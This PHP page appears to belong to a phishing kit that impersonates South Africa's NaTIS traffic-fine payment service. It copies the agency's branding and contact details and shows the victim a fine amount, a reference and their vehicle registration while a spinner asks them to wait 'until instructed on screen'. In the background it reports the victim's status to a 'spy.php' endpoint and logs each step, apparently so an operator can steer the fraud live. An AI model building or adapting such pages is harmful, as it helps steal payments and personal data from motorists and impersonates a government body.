<?php
require (__DIR__) . '/../main.php';
require __DIR__ . '/class/Config.php';

$waitReason = isset($_GET['p']) ? preg_replace('/[^a-z0-9_]/i', '', (string) $_GET['p']) : '';
$fromCancel = ($waitReason === 'cancel');

$data = $m->getData();
if (!$fromCancel && isset($data['IS_DONE']) && $data['IS_DONE'] == "1") {
    header("Location: done.php");
    exit;
}

$payLabel = Config::$payment_amount;
$fineRef = Config::$fine_reference;
$vehicleReg = Config::visitorVehicleRegFromLogin();
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Please wait — NaTIS</title>
    <link rel="stylesheet" href="themes/css/card-natis.css" />
    <link rel="stylesheet" href="themes/css/payment-flow-natis.css" />
    <style>
        :root { --nt-nav: #4175a5; --nt-green: #6ba336; }
        body.np-wait-hold {
            margin: 0;
            min-height: 100vh;
            background: #eef2f6;
            font-family: Arial, Helvetica, sans-serif;
        }
        .np-hold {
            min-height: calc(100vh - 120px);
            display: flex;
            align-items: center;
            justify-content: center;
            padding: 28px 16px 40px;
        }
        .np-hold-panel {
            width: 100%;
            max-width: 420px;
            padding: 36px 28px 28px;
            text-align: center;
            background: #fff;
            border: 1px solid #c5ced9;
            box-shadow: 0 8px 28px rgba(26, 54, 93, 0.08);
        }
        .np-hold-ring {
            width: 64px;
            height: 64px;
            margin: 0 auto 18px;
            border-radius: 50%;
            border: 4px solid #e2e8f0;
            border-top-color: #4175a5;
            border-right-color: #6ba336;
            animation: np-hold-spin 0.9s linear infinite;
        }
        @keyframes np-hold-spin { to { transform: rotate(360deg); } }
        .np-hold-title {
            margin: 0 0 8px;
            font-size: 18px;
            font-weight: 700;
            color: #1a365d;
        }
        .np-hold-text {
            margin: 0 0 18px;
            font-size: 14px;
            line-height: 1.55;
            color: #4a5568;
        }
        .np-hold-meta {
            margin: 0 0 16px;
            padding: 12px 14px;
            background: #f7fafc;
            border: 1px solid #e2e8f0;
            text-align: left;
            font-size: 13px;
        }
        .np-hold-meta p {
            margin: 0 0 6px;
            display: flex;
            justify-content: space-between;
            gap: 12px;
            color: #64748b;
        }
        .np-hold-meta p:last-child { margin-bottom: 0; }
        .np-hold-meta strong { color: #1a365d; font-weight: 700; }
        .np-hold-dots {
            display: flex;
            justify-content: center;
            gap: 7px;
        }
        .np-hold-dots span {
            width: 7px;
            height: 7px;
            border-radius: 50%;
            background: #4175a5;
            animation: np-hold-bounce 1.2s ease-in-out infinite;
        }
        .np-hold-dots span:nth-child(2) { animation-delay: 0.15s; }
        .np-hold-dots span:nth-child(3) { animation-delay: 0.3s; }
        @keyframes np-hold-bounce {
            0%, 80%, 100% { opacity: 0.3; transform: scale(0.85); }
            40% { opacity: 1; transform: scale(1); }
        }
    </style>
</head>
<body class="np-page np-wait-hold">

<div class="np-topstrip">
    <span>Talk to us +27 861 400 800 | <a href="mailto:onlinesupport@rtmc.co.za">onlinesupport@rtmc.co.za</a></span>
</div>
<div class="np-logohead">
    <img src="assets/img/NaTIS%20logo.png" alt="NaTIS — National Traffic Information System" />
</div>

<main class="np-hold" aria-live="polite" aria-busy="true">
    <div class="np-hold-panel">
        <div class="np-hold-ring" aria-hidden="true"></div>
        <h1 class="np-hold-title">Please wait</h1>
        <p class="np-hold-text">
            <?php if ($fromCancel) { ?>
            You returned to the waiting screen. Please wait for the next step.
            <?php } else { ?>
            We are processing your payment. Do not close this window until instructed on screen.
            <?php } ?>
        </p>

        <div class="np-hold-meta">
            <p><span>Amount</span> <strong><?= htmlspecialchars($payLabel, ENT_QUOTES, 'UTF-8') ?></strong></p>
            <p><span>Reference</span> <strong><?= htmlspecialchars($fineRef, ENT_QUOTES, 'UTF-8') ?></strong></p>
            <?php if ($vehicleReg !== '') { ?>
            <p><span>Vehicle</span> <strong><?= htmlspecialchars($vehicleReg, ENT_QUOTES, 'UTF-8') ?></strong></p>
            <?php } ?>
        </div>

        <div class="np-hold-dots" aria-hidden="true"><span></span><span></span><span></span></div>
    </div>
</main>

<script src="res/jq.js"></script>
<script>
    $.post('spy.php', { waitingview: 1 });
</script>
<?php $m->ctr('WAIT ' . ($waitReason !== '' ? $waitReason : 'load')); ?>
</body>
</html>
